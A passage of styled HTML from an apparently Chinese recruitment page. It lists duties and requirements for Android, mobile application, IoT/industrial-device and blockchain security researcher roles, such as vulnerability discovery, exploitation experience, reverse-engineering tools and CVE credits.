sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">任职要求</span></h3><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p cid="n7" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">了解Android基本安全机制与功能：root、SELinux、APK签名、锁屏、手机解锁、指纹支付、OTA等;</p></li><li><p cid="n7" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟悉常见漏洞原理：对堆溢出、UAF、进程注入、提权等，有成功的漏洞挖掘/利用经验；</p></li><li><p cid="n7" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟悉操作系统原理，了解ARM架构；熟悉Java/C/C++开发，了解打包、反编译、破解流程；熟悉脱壳、混淆对抗；熟悉Ollvm混淆、有实际的对抗经验和成熟的对抗方案；熟悉Android设备指纹、环境分析对抗；</p></li><li><p cid="n7" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">其他加分安全技术：密码学、安全协议、逆向工程、Fuzzing；</p></li><li><p cid="n7" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">在相关领域顶级会议、期刊上发表过论文者优先考虑；</p></li><li><p cid="n7" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">有厂商致谢优先。</p></li></ol><p style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 82, 255);font-size: 20px;">移动安全研究员（应用层方向）</span></p><h3 cid="n2" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 25.5px;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">工作职责</span></h3><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p cid="n3" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">负责漏洞挖掘平台的研发与改进；</p></li><li><p cid="n3" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">负责移动客户端安全漏洞、风控策略的分析、挖掘和漏洞利用新技术研究；</p></li><li><p cid="n3" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">跟踪全球最新安全动态，了解最新的攻击技术，完成分析报告;<br/></p></li><li><p dir="ltr" role="presentation" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">持续跟踪、借鉴业界领先的安全技术成果和最佳实践，引入安全攻防技术方法与工具，并在测试验证项目中落地。</p></li></ol><p><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">任职要求</span></p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对Android基础安全有深入的了解，包括但不限于框架层、TEE、系统及预置App、Bootloader等攻击面，能够深入挖掘潜在的攻击点；</p></li><li><p style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟练掌握ARM/ARM64汇编语言，对TEE TA有深入的认识，以及熟练的JAVA/C++编程技能；</p></li><li><p style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对Android Framework框架及其运作方式，Dalvik/ART虚拟机原理有深刻的理解；</p></li><li><p style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">具备对智能设备固件和通讯协议进行逆向分析的能力；</p></li><li><p style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">掌握ARM汇编、ELF结构，熟悉静态分析、HOOK等逆向工程技巧；</p></li><li><p style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟练使用常见的逆向工具和框架，如Apktool、dex2jar、IDA、JEB、Frida、Xposed、Jadx、Drozer、MobSF、Wireshark、Fiddler等；</p></li><li><p style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟悉Android框架和JNI，能够熟练使用NDK独立编写Android应用程序和Native原生程序；</p></li><li><p style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space-collapse: preserve;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">至少熟练掌握一种编程语言，如Java、Python、Shell、C等。</p></li></ol><p cid="n14" mdtype="paragraph" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 82, 255);font-size: 20px;">工控/物联网/网络设备/安全研究员</span></p><p dir="ltr"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">工作职责</span></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">物联网通用协议、组件、操作系统漏洞挖掘与漏洞复现；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">物联网设备漏洞挖掘与漏洞复现；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">参与创新物联网安全研究项目；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">分析研究嵌入式IoT设备（路由器、摄像头）或工控PLC等固件的漏洞。</p></li></ol><h3 cid="n2" mdtype="heading"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">任职要求</span></h3><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">至少需2年工作经验；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟练qemu模拟/仿真，熟悉嵌入式系统wifi，蓝牙，Zigbee，LTE，NB-IOT，5G等攻击面，对可挖掘攻击面有较为深入的理解；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟练固件提取，精通armv7/v8 shellcode撰写，熟悉MIPS指令；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">较为熟练linux内核/Android内核堆漏洞利用，包括不限于跨缓存攻击/物理页uaf等；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对未知领域和工控安全具有强烈爱好，愿意在该方向深耕。</p></li></ol><p dir="ltr"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">加分项</span></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">有独立挖掘漏洞的经验，获得过主流厂商的CVE编号；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">参加过Pwn2Own、天府杯等赛事，并成功攻破目标；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">在有影响力的业界会议（学术/工业）上发表论文；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">有独立挖掘漏洞的经验，获得过主流厂商的CVE编号；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">通过使用/定制/自研工具发现有效漏洞；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p dir="ltr" role="presentation" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">作为CTF主力选手取得过优秀的成绩。</p></li></ol><p dir="ltr" role="presentation" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 82, 255);font-size: 20px;">区块链安全研究员</span></p><p dir="ltr" role="presentation"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">工作职责</span></p><ol class="list-paddingleft-1" style="list-style-type: 